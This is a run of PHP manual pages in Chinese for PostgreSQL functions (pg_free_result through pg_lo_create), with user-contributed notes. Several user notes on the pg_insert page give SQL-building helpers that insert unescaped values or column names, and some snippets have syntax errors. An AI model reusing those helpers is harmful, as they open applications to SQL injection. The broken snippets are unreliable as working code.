pg_free_result() 释放与指定 PgSql\Result 实例关联的内存和数据。

仅当脚本执行期间的内存消耗成为问题时才需要调用此函数。否则，所有结果内存将在脚本结束时自动释放。

Note:

本函数以前的名字为 pg_freeresult()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_free_result() 示例

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "First field in the second row is: ", $val, "\n";

pg_free_result($res);
?>

以上示例会输出：

First field in the second row is: 2

参见

  • pg_query() - 执行查询
  • pg_query_params() - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result

User Contributed Notes

Stefan W 30-Aug-2013 12:12
You do NOT need to call pg_free_result() on every result resource you create.
When result resources go out of scope, they are garbage collected just like everything else.
Unless you're hoarding your results somewhere, you can basically ignore this function.

Here's a little test you can run to confirm this: http://pastebin.com/ghw1PHuE


获取 SQL NOTIFY 消息

  • ? pg_free_result
  • pg_get_pid ?
  • PHP Manual
  • PostgreSQL 函数
  • 获取 SQL NOTIFY 消息

pg_get_notify

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_get_notify — 获取 SQL NOTIFY 消息

说明

pg_get_notify(PgSql\Connection $connection, int $mode = PGSQL_ASSOC): array|false

pg_get_notify() 取得 SQL 命令 NOTIFY 生成的消息。要接收通知，必须发送 SQL 命令 LISTEN。

参数

connection

PgSql\Connection 实例。

mode

An optional parameter that controls how the returned array is indexed. mode is a constant and can take the following values: PGSQL_ASSOC, PGSQL_NUM and PGSQL_BOTH. Using PGSQL_NUM, the function will return an array with numerical indices, using PGSQL_ASSOC it will return only associative indices while PGSQL_BOTH will return both numerical and associative indices.

返回值

包含 NOTIFY 消息名称和后端 PID 的 array。如果服务器支持，该数组还包含服务器版本和有效负载。否则，如果没有 NOTIFY 正在等待，则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 PostgreSQL NOTIFY 消息

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

// 从其它进程监听 'author_updated' 消息
pg_query($conn, 'LISTEN author_updated;');
$notify = pg_get_notify($conn);
if (!$notify) {
echo "No messages\n";
} else {
print_r($notify);
}
?>

参见

  • pg_get_pid() - 获取后端的进程 ID

User Contributed Notes

david at frankieandshadow dot com 22-Oct-2020 01:52
It appears that pg_get_notify does not distinguish between no message waiting and a failure when checking - both seem to return FALSE.

I had to add a pg_check_connection(...) before pg_get_notify to check the connection is still alive (it's quite likely to be a long-standing connection with pg_get_notify as you'll be polling waiting for something to happen). In my case the remote database server had a hiccup, and without pg_check_connection the listeners failed to notice, so never saw later notifications.
glococo at gmail dot com 17-Jun-2017 08:12
Instant yet Simple PHP notification with HTML5 Server-Sent Events

sse.php
<?php
$dbconn = new PDO("pgsql:host=localhost;dbname=mydb", "pduser", "userpass");
$dbconn->exec('LISTEN "channel_name"');   // those doublequotes are very important

header("X-Accel-Buffering: no"); // disable ngnix webServer buffering
header("Content-Type: text/event-stream");
header("Cache-Control: no-cache");
ob_end_flush();  // close PHP output buffering
$inc=0;

while (1) {
  $result = "";
  // wait for one Notify 10seconds instead of using sleep(10)
  $result = $dbconn->pgsqlGetNotify(PDO::FETCH_ASSOC, 10000);

  if ( $result ) {
        echo "id: $inc\ndata: ".stripslashes(json_encode($result))."\n\n";
        $inc++;
  }

  flush();
}
?>

Tested with HTML+JS sample file from Mozilla web site (ssedemo.php)


获取后端的进程 ID

  • ? pg_get_notify
  • pg_get_result ?
  • PHP Manual
  • PostgreSQL 函数
  • 获取后端的进程 ID

pg_get_pid

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_get_pid — 获取后端的进程 ID

说明

pg_get_pid(PgSql\Connection $connection): int

pg_get_pid() 取得后端（数据库服务器进程）的 PID。PID 用来确定通过 pg_get_notify() 接收到的 NOTIFY 消息，是否是其它进程发送的。

参数

connection

PgSql\Connection 实例。

返回值

后端数据库进程 ID。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 PostgreSQL 后端 PID

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

// Backend process PID. Use PID with pg_get_notify()
$pid = pg_get_pid($conn);
?>

参见

  • pg_get_notify() - 获取 SQL NOTIFY 消息

User Contributed Notes

There are no user contributed notes for this page.


取得异步查询结果

  • ? pg_get_pid
  • pg_host ?
  • PHP Manual
  • PostgreSQL 函数
  • 取得异步查询结果

pg_get_result

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_get_result — 取得异步查询结果

说明

pg_get_result(PgSql\Connection $connection): PgSql\Result|false

pg_get_result() 从由 pg_send_query()、pg_send_query_params() 或 pg_send_execute() 执行的异步查询中获取 PgSql\Result 实例。

pg_send_query() 和其它异步查询函数可以向 PostgreSQL 服务器发送多个查询，而 pg_get_result() 则用来逐个获取查询结果。

参数

connection

PgSql\Connection 实例。

返回值

PgSql\Result 实例，或者没有更多查询结果，则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在返回 PgSql\Result 实例，之前返回 resource
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_get_result() 示例

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
}

$res1 = pg_get_result($dbconn);
echo "First call to pg_get_result(): $res1\n";
$rows1 = pg_num_rows($res1);
echo "$res1 has $rows1 records\n\n";

$res2 = pg_get_result($dbconn);
echo "Second call to pg_get_result(): $res2\n";
$rows2 = pg_num_rows($res2);
echo "$res2 has $rows2 records\n";
?>

以上示例会输出：

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

Second call to pg_get_result(): Resource id #4
Resource id #4 has 1 records

参见

  • pg_send_query() - 发送异步查询

User Contributed Notes

Ondej Bouda 14-Sep-2015 10:04
It might seem that after calling pg_get_result() upon sending just a single query, the connection will not be busy. The correct way is, though, to call extra pg_get_result() in a loop until it returns false [1].

<?php
$conn = pg_connect('...', PGSQL_CONNECT_FORCE_NEW);
for ($i = 0; $i < 10000; $i++) {
    $query = 'erroneous query';
    if (pg_connection_busy($conn)) {
        fprintf(STDERR, "Connection is busy\n");
        exit(1);
    }
    pg_send_query($conn, $query);
    $res = pg_get_result($conn);
    if ($res === false) {
        fprintf(STDERR, "A result was expected\n");
        exit(1);
    }

    /* The following does not seem necessary for good queries, but is vital for erroneous queries.
       Commenting the loop out leads to this script fail with the "Connection is busy" error. */
    while (pg_get_result($conn));

    // result processing...
}
?>

See http://www.postgresql.org/message-id/flat/gtitqq$26l3$1@news.hub.org#gtitqq$26l3$1@news.hub.org and https://bugs.php.net/bug.php?id=52750 for detailed information.

[1] Or, even better, use an asynchronous connection since PHP 5.6.
gullevek at gullevek dot org 10-Oct-2013 06:28
To have a a simple wait output with async queries you can use the pg_connection_busy command:

<?php
$dbh = pg_connect("host=XXX user=XXX password=XXX dbname=XXX");
if (!$dbh)
{
    print "Failed to connect";
    exit;
}

$query = "SELECT pg_sleep(10)";
if (!pg_connection_busy($dbh))
{
    $sent = pg_send_query($dbh, $query);
    print "Sent query, waiting: ";
    while (pg_connection_busy($dbh)
    {
        print ".";
        flush();
    }
    $res = pg_get_result($dbh);
    print "<br>"; // or \n
    print "Result is: $res";
}

pg_close($dbh);
?>
Marko Tiikkaja 25-Oct-2008 05:14
william at 25thandClement dot com said: "There is no way to poll/wait for a notification to come in. .."
Yes, there is. If there is a query in progress, pg_get_result() will block and return the result of that query when it's complete.
william at 25thandClement dot com 27-Jan-2005 03:03
There is no way to poll/wait for a notification to come in. You either have to enter a busy loop or sleep. Both options are horrible. It would be nice for PHP to provide access to PQsocket so one could select() on the socket connection. This is how it's done from C or Perl.


返回和某连接关联的主机名

  • ? pg_get_result
  • pg_insert ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回和某连接关联的主机名

pg_host

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_host — 返回和某连接关联的主机名

说明

pg_host(?PgSql\Connection $connection = null): string

pg_host() 返回指定的 PostgreSQL connection 实例所连接到的主机名称。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

string, 包含 connection 的主机名，或错误时为空字符串。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可为 null。

示例

Example #1 pg_host() 示例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

参见

  • pg_connect() - 打开 PostgreSQL 连接
  • pg_pconnect() - 打开一个持久的 PostgreSQL 连接

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 06:21
This is a simple example of this function, which returns the name of which PostreSQL Database you are currently connected to.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

This function is extremely useful for sites which connect to multiple Postgresql services.

Regards,  --mark


将数组插入到表中

  • ? pg_host
  • pg_last_error ?
  • PHP Manual
  • PostgreSQL 函数
  • 将数组插入到表中

pg_insert

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_insert — 将数组插入到表中

说明

pg_insert(
PgSql\Connection $connection,
string $table_name,
array $values,
int $flags = PGSQL_DML_EXEC
): PgSql\Result|string|bool

pg_insert() 将 values 中的值插入到由 table_name 指定的表中。

如果指定 flags，则 pg_convert() 使用指定 flag 应用于 values。

默认情况下 pg_insert() 传递原始值。值必须转义或必须在 flags 中指定 PGSQL_DML_ESCAPE flag。PGSQL_DML_ESCAPE 引用并转义参数/标识符。因此，表/列名称变得区分大小写。

注意转义和预处理查询都不能保护 LIKE 查询、JSON、Array、Regex 等，这些参数要根据上下文来处理。即转义/验证值。

参数

connection

PgSql\Connection 实例。

table_name

要插入记录的表名。表 table_name 中的列必须至少要有 values 中的单元那么多。

values

array，其键是表 table_name 中的字段名称，其值是要插入的匹配行。

flags

任意数量的 PGSQL_CONV_OPTS、PGSQL_DML_NO_CONV、PGSQL_DML_ESCAPE、PGSQL_DML_EXEC、PGSQL_DML_ASYNC 或 PGSQL_DML_STRING 的组合。当 PGSQL_DML_STRING 是 flags 的一部分，然后将返回查询字符串。当设置了 PGSQL_DML_NO_CONV 或 PGSQL_DML_ESCAPE 时，不会在内部调用 pg_convert()。

返回值

成功时返回 true， 或者在失败时返回 false。如果通过 flags 传递 PGSQL_DML_STRING，成功时返回 string。

更新日志

版本 | 说明
8.1.0 | 现在返回 PgSql\Result 实例，之前返回 resource
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_insert() 示例

<?php
$dbconn = pg_connect('dbname=foo');
// 在某种程度上安全，因为所有值都转义了。
// 然而 PostgreSQL 支持 JSON/Array。无论是
// 转义还是预处理都不安全。
$res = pg_insert($dbconn, 'post_log', $_POST, PGSQL_DML_ESCAPE);
if ($res) {
echo "POST data is successfully logged\n";
} else {
echo "User must have sent wrong inputs\n";
}
?>

参见

  • pg_convert() - 将关联的数组值转换为适合 SQL 语句的格式

User Contributed Notes

Anonymous 12-Aug-2021 04:56
$Result = pg_query_params($db,'INSERT INTO table1 (a, b, c) VALUES ($1,$2,$3) RETURNING *', array('1','2','3');
$Row = pg_fetch_assoc($Result);
pg_insert($db, 'table2', $Row);

pg_insert fail silently if one or more fields on table2 have different names than on table1
phpuser at ego dot gen dot nz 16-Dec-2011 09:12
This function cannot be used to insert a record with only default values - i.e. with an assoc_array of array()
Anonymous 13-Oct-2008 06:06
it seems to fail silently if you try to insert somehting with a mis-named column
jsnell at e-normous dot com 27-Sep-2007 12:49
If you need schema support, this function will do something similar to pg_insert:

function pg_insert_with_schema($connection, $table, $updates)
{
 $schema = 'public';
 if (strpos($table, '.') !== false)
    list($schema, $table) = explode('.', $table);

    if (count($updates) == 0) {
        $sql = "INSERT INTO $schema.\"$table\" DEFAULT VALUES";
            return pg_query($sql);
        } else {
 $sql = "INSERT INTO $schema.\"$table\" ";

 $sql .= '("';
 $sql .= join('", "', array_keys($updates));
 $sql .= '")';

 $sql .= ' values (';
 for($i = 0; $i < count($updates); $i++)
   $sql .= ($i != 0? ', ':'').'$'.($i+1);
 $sql .= ')';
 return pg_query_params($connection, $sql, array_values($updates));
 }
}
excalibur at nospam dot icehouse dot net 16-Oct-2006 08:06
Today at work I isolated a problem I was having with this function to how I was formatting the date.  I was assigning the date in my code as follows:

$today = date( "Ymd" ); // ISO 8601

This format is acceptable to PostgreSQL, as verified by their documentation and buy tests using psql.  However, to make it work in my code, I had to make the following change:

$today = date( "Y-m-d" ); // also ISO 8601 format
ANDYCHR17 at HOTMAIL dot COM 05-May-2006 02:50
Had a few issues while trying to run this in PHP 4.4.0:

- I could not get it to work with column names that are SQL reserved words (example: desc, order). I was forced to change the column names in order to use the function. I could not put the column names in quotes, because that caused pg_convert() to fail.

- Function was returning false until I passed the PGSQL_DML_EXEC option.
skippy at zuavra dot net 14-Feb-2005 07:08
Beware of the following: pg_insert() and pg_update() are adding slashes to all character-like fields they work with. This makes them SQL injection super-safe, but there are unwanted consequences, as follows:

If you have a regular setup with magic_quotes_gcp=On, and you use pg_insert() or pg_update(), you will end up with fields that look as if you used addslashes() twice. To solve this, you can use stripslashes() on the data just before using it with pg_insert() or pg_update().

There's another alternative, which seems better to me. Why make yourself crazy all over the code, adding slashes, stripping slashes, worrying whether magic_quotes_gpc is on or off and so on and so forth? Why do this, when the only place you actually need those slashes is right when you push the data into the database?

So why not get rid of your addslashes() and stripslashes() from all over your code, and turn magic_quotes_gcp off. As long as you always use pg_insert() and pg_update() to do your DB work, you're SQL-injection safe AND slash-headache free.
mina86 at tlen dot pl 23-May-2004 06:24
Next version :) My version checks whether value is bool, null, string or numeric and if one of the values is not function returns false if not. null values are inserted as NULL, bool as true or false and strings are add-shlashed before adding to query string. Note, that this function is not safe. SQL injection is possible with column names if you use $_POST or something similar as a $array.

<?php
function db_build_insert($table, $array) {
  if (count($array)===0) return false;
  $columns = array_keys($array);
  $values = array_values($array);
  unset($array);

  for ($i = 0, $c = count($values); $i$c; ++$i) {
    if (is_bool($values[$i])) {
      $values[$i] = $values[$i]?'true':'false';
    } elseif (is_null($values[$i])) {
      $values[$i] = 'NULL';
    } elseif (is_string($values[$i])) {
      $values[$i] = "'" . addslashes($values[$i]) . "'";
    } elseif (!is_numeric($values[$i])) {
      return false;
    }
  }

  return "INSERT INTO $table ($column_quote" . implode(', ', $columns) .
    ") VALUES (" . implode(', ', $values) . ")";
}
?>
shane at treesandthings dot com 21-Jan-2004 08:04
Returns SQL statement, slight improvement on the code from 'rorezende at hotmail dot com'.  This version adds bool values correctly.It also checks to make sure there is actually a value in the array before including it in the sql statement. (ie: null values or empty strings won't be added to the sql statement)

<?PHP
function db_build_insert($table,$array)
{

   $str = "insert into $table ";
   $strn = "(";
   $strv = " VALUES (";
   while(list($name,$value) = each($array)) {

       if(is_bool($value)) {
                $strn .= "$name,";
                $strv .= ($value ? "true":"false") . ",";
                continue;
        };

       if(is_string($value)) {
                $strn .= "$name,";
                $strv .= "'$value',";
                continue;
        }
       if (!is_null($value) and ($value != "")) {
                $strn .= "$name,";
                $strv .= "$value,";
                continue;
       }
   }
   $strn[strlen($strn)-1] = ')';
   $strv[strlen($strv)-1] = ')';
   $str .= $strn . $strv;
   return $str;

}
?>
rorezende at hotmail dot com 16-Jul-2003 11:49
Time is money, then I write a function similar to pg_insert in PHP (only output sql statement) :

   function db_mount_insert($table,$array) {

    $str = "insert into $table (";
    while(list($name,$value) = each($array)) {
        $str .= "$name,";
    }
    $str[strlen($str)-1] = ')';
    $str .= " values (";
    reset($array);
    while(list($name,$value) = each($array)) {
        if(is_string($value))
            $str .= "'$value',";
        else
            $str .= "$value,";
    }
    $str[strlen($str)-1] = ')';
    $str .= ";"    ;

    return $str;

   }


得到某连接的最后一条错误信息

  • ? pg_insert
  • pg_last_notice ?
  • PHP Manual
  • PostgreSQL 函数
  • 得到某连接的最后一条错误信息

pg_last_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_last_error — 得到某连接的最后一条错误信息

说明

pg_last_error(?PgSql\Connection $connection = null): string

pg_last_error() 返回指定 connection 的最后一条错误信息。

错误信息可能会被调用的 PostgreSQL(libpq) 内部函数覆盖。如果 PostgreSQL 的内部模块函数产生了多个错误，则可能不能返回适当的错误信息。

使用 pg_result_error()、pg_result_error_field()、pg_result_status() 和 pg_connection_status() 用于更好的错误处理。

Note:

本函数以前的名字为 pg_errormessage()。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

string，包含指定 connection 的最后一条错误消息。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可为 null。

示例

Example #1 pg_last_error() 示例

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

// 查询失败
$res = pg_query($dbconn, "select * from doesnotexist");

echo pg_last_error($dbconn);
?>

参见

  • pg_result_error() - 获得跟 result 相关的错误信息
  • pg_result_error_field() - Returns an individual field of an error report

User Contributed Notes

Tamas Bolner 26-Aug-2010 10:48
From a practical view there are two types of error messages when using transactions:

-"Normal" errors: in this case, the application should stop the current process and show an error message to the user.

-Deadlock errors. This shows that the deadlock detection process of PostgreSQL found a circle of dependency, and broke it by rolling back the transaction in one of the processes, which gets this error msg. In this case, the application should not stop, but repeat the transaction.

I found no discrete way to find out which case are we dealing with. This interface doesn't support error codes, so we have to search for patterns in the message text.

Here is an example for PostgreSQL database connection class. It throws a PostgresException on "normal" errors, and DependencyException in the case of a broken deadlock, when we have to repeat the transaction.

postgres.php:
<?php
class PostgresException extends Exception {
    function __construct($msg) { parent::__construct($msg); }
}

class DependencyException extends PostgresException {
    function __construct() { parent::__construct("deadlock"); }
}

class pg {
    public static $connection;

    private static function connect() {
        self::$connection = @pg_connect("dbname=foodb user=foouser password=foopasswd");
        if (self::$connection === FALSE) {
            throw(new PostgresException("Can't connect to database server."));
        }
    }

    public static function query($sql) {
        if (!isset(self::$connection)) {
            self::connect();
        }

        $result = @pg_query(self::$connection, $sql);
        if ($result === FALSE) {
            $error = pg_last_error(self::$connection);
            if (stripos($error, "deadlock detected") !== false) throw(new DependencyException());

            throw(new PostgresException($error.": ".$sql));
        }

        $out = array();
        while ( ($d = pg_fetch_assoc($result)) !== FALSE) {
            $out[] = $d;
        }

        return $out;
    }
}
?>

It should be used in this way:

test.php:
<?php
include("postgres.php");

do {
    $repeat = false;
    try {
        pg::query("begin");

        ...

        $result = pg::query("SELECT * FROM public.kitten");

        ...

        pg::query("commit");
    }
    catch (DependencyException $e) {
        pg::query("rollback");
        $repeat = true;
    }
} while ($repeat);
?>

The normal errors should be caught at the frontend.

Tamas


返回 PostgreSQL 服务器最新一条公告信息

  • ? pg_last_error
  • pg_last_oid ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回 PostgreSQL 服务器最新一条公告信息

pg_last_notice

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

pg_last_notice — 返回 PostgreSQL 服务器最新一条公告信息

说明

pg_last_notice(PgSql\Connection $connection, int $mode = PGSQL_NOTICE_LAST): array|string|bool

pg_last_notice() 返回由 connection 指定的 PostgreSQL 服务器最新的一条 notice 信息。PostgreSQL 服务器在某些情况下会发送 notice 信息，例如在表里创建 SERIAL 列。

使用 pg_last_notice()，只要检查 notice 是否和该事务有关，就可以避免提交无用的查询。

可以通过在 php.ini 中把 pgsql.ignore_notice 置为 1 来使 notice 信息追踪成为可选项。

可以通过在 php.ini 中把 pgsql.log_notice 置为 0 来使 notice 信息日志成为可选项。 除非 pgsql.ignore_notice 为 0，否则 notice 信息不能被日志记录。

参数

connection

PgSql\Connection 实例。

mode

PGSQL_NOTICE_LAST（返回最后的 notice）、PGSQL_NOTICE_ALL（返回所有 notice）或 PGSQL_NOTICE_CLEAR（清除 notice）之一。

返回值

在指定 connection 使用 PGSQL_NOTICE_LAST，返回包含最后一条 notice 的 string，使用 PGSQL_NOTICE_ALL 时为 array，使用 PGSQL_NOTICE_CLEAR 时为 bool。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
7.1.0 | 新增 mode 参数。

示例

Example #1 pg_last_notice() 示例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

$res = pg_query("CREATE TABLE test (id SERIAL)");

$notice = pg_last_notice($pgsql_conn);

echo $notice;
?>

以上示例会输出：

CREATE TABLE will create implicit sequence "test_id_seq" for "serial" column "test.id"

参见

  • pg_query() - 执行查询
  • pg_last_error() - 得到某连接的最后一条错误信息

User Contributed Notes

There are no user contributed notes for this page.


返回上一条记录的 oid

  • ? pg_last_notice
  • pg_lo_close ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回上一条记录的 oid

pg_last_oid

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_last_oid — 返回上一条记录的 oid

说明

pg_last_oid(PgSql\Result $result): string|int|false

pg_last_oid() 用于检索分配给插入行的 OID。

从 PostgreSQL 7.2 开始 OID 字段成为可选项，在 PostgreSQL 8.1 中默认不存在。如果表中没有定义 OID 字段，程序员必须用 pg_result_status() 检查记录是否成功插入。

要在插入的行中获取 SERIAL 字段的值，必须使用 PostgreSQL CURRVAL 函数，命名需要最后一个值的序列。如果序列名称未知，则需要 pg_get_serial_sequence PostgreSQL 8.0 函数。

PostgreSQL 8.1 有一个函数 LASTVAL，它返回会话中最近使用的序列的值。这避免了对序列、表或列的命名需求。

Note:

本函数以前的名字为 pg_getlastoid()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

返回值

int 或 string，包含分配给指定 connection 中最近插入的行的 OID，如果出错或没有可用的 OID，则为 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_last_oid() 示例

<?php
// 连接到数据库
pg_connect("dbname=mark host=localhost");

// 创建示例表
pg_query("CREATE TABLE test (a INTEGER) WITH OIDS");

// 插入一些数据
$res = pg_query("INSERT INTO test VALUES (1)");

$oid = pg_last_oid($res);
?>

参见

  • pg_query() - 执行查询
  • pg_result_status() - 获得查询结果的状态

User Contributed Notes

qeremy [atta] gmail [dotta] com 27-Jul-2012 02:11
Simply getting LAST_INSERT_ID;

<?php
// Note: waiting for "select" part from pg_query below.
// Note: separating the query parts using semicolons (;).

$qry = pg_query("
    INSERT INTO users (id,uname,upass,rep) VALUES (DEFAULT,'bubu','a981v',0.19);
    SELECT Currval('users_id_seq') LIMIT 1
");

// or
$qry = pg_query("
    INSERT INTO users (id,uname,upass,rep) VALUES (DEFAULT,'bubu','a981v',0.19) RETURNING Currval('users_id_seq')");

$fch = pg_fetch_row($qry);
print_r($fch);
?>

Array
(
    [0] => 3 -> Gotcha!
)
Jonathan Bond-Caron 30-May-2005 08:21
I'm sharing an elegant solution I found on the web (Vadim Passynkov):

CREATE RULE get_pkey_on_insert AS ON INSERT TO Customers DO SELECT currval('customers_customers_id_seq') AS id;

Every time you insert to the Customers table, postgreSQL will return a table with the id you just inserted. No need to worry about concurrency, the ressource is locked when the rule gets executed.

Note that in cases of multiple inserts:
INSERT INTO C1 ( ... ) ( SELECT * FROM C2);

we would return the id of the last inserted row.

For more info about PostgreSQL rules:
http://www.postgresql.org/docs/7.4/interactive/sql-createrule.html
julian at e2-media dot co dot nz 25-Aug-2003 11:21
The way I nuderstand it, each value is emitted by a sequence only ONCE. If you retrieve a number (say 12) from a sequence using nextval(), the sequence will advance and subsequent calls to nextval() will return further numbers (after 12) in the sequence.

This means that if you use nextval() to retrieve a value to use as a primary key, you can be guaranteed that no other calls to nextval() on that sequence will return the same value. No race conditions, no transactions required.

That's what sequences are *for* afaik :^)
a dot bardsley at lancs dot ac dot uk 15-May-2003 11:23
As pointed out on a busy site some of the above methods might actually give you an incorrect answer as another record is inserted inbetween your insert  and the select. To combat this put it into a transaction and dont commit till you have done all the work
dtutar at yore dot com dot tr 26-Apr-2003 07:15
This is very useful function :)

function sql_last_inserted_id($connection, $result, $table_name, $column_name) {
   $oid = pg_last_oid ( $result);
       $query_for_id = "SELECT $column_name FROM $table_name WHERE oid=$oid";
   $result_for_id = pg_query($connection,$query_for_id);
   if(pg_num_rows($result_for_id))
      $id=pg_fetch_array($result_for_id,0,PGSQL_ASSOC);
   return $id[$column_name];
}

Call after insert, simply ;)
webmaster at gamecrash dot net 03-Mar-2003 06:29
You could use this to get the last insert id...

CREATE TABLE test (
  id serial,
  something int not null
);

This creates the sequence test_id_seq. Now do the following after inserting something into table test:

INSERT INTO test (something) VALUES (123);
SELECT currval('test_id_seq') AS lastinsertid;

lastinsertid should contain your last insert id.


关闭大对象

  • ? pg_last_oid
  • pg_lo_create ?
  • PHP Manual
  • PostgreSQL 函数
  • 关闭大对象

pg_lo_close

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_close — 关闭大对象

说明

pg_lo_close(PgSql\Lob $lob): bool

pg_lo_close() 关闭大对象。

要使用大对象接口，必须将其封装在事务块中。

Note:

本函数以前的名字为 pg_loclose()。

参数

lob

通过 pg_lo_open() 返回的 PgSql\Lob 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 lob 接受 PgSql\Lob 实例，之前接受 resource。

示例

Example #1 pg_lo_close() 示例

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_create($database);
echo "$oid\n";
$handle = pg_lo_open($database, $oid, "w");
echo "$handle\n";
pg_lo_write($handle, "large object data");
pg_lo_close($handle);
pg_query($database, "commit");
?>

参见

  • pg_lo_open() - 打开大对象
  • pg_lo_create() - 新建大对象
  • pg_lo_import() - 将文件导入为大型对象

User Contributed Notes

There are no user contributed notes for this page.


新建大对象

  • ? pg_lo_close
  • pg_lo_export ?
  • PHP Manual
  • PostgreSQL 函数
  • 新建大对象

pg_lo_create

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_create — 新建大对象

说明

pg_lo_create(PgSql\Connection $connection = ?, mixed $object_id = ?): int
pg_lo_create(mixed $object_id): int

pg_lo_create() 新建大对象并返回大对象的 oid。不支持 PostgreSQL 访问模式 INV_READ、INV_WRITE 和 INV_ARCHIVE，创建的对象始终以读写方式访问。INV_ARCHIVE 已经从 PostgreSQL（6.3 及以上版本）中移除。

要使用大对象接口，必须将其封装在一个事务块中。

不使用大对象接口（没有访问控制，使用起来很麻烦），试试 PostgreSQL 的 bytea 列类型和 pg_escape_bytea()。

Note:

本函数以前的名字为 pg_locreate()。

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

object_id

如果指定 object_id，该函数将尝试使用此 id 创建大对象，否则服务器将分配一个空闲对象 id。该参数依赖于 PostgreSQL 8.1 中首次出现的功能。

返回值

大对象 OID， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_lo_create() 示例

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_create($database);
echo "$oid\n";
$handle = pg_lo_open($database, $oid, "w");
echo "$handle\n";
pg_lo_write($handle, "large object data");
pg_lo_close($handle);
pg_query($database, "commit");
?>

User Contributed Notes

andrea dot galli at acotel dot com 05-May-2003 10:21
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");
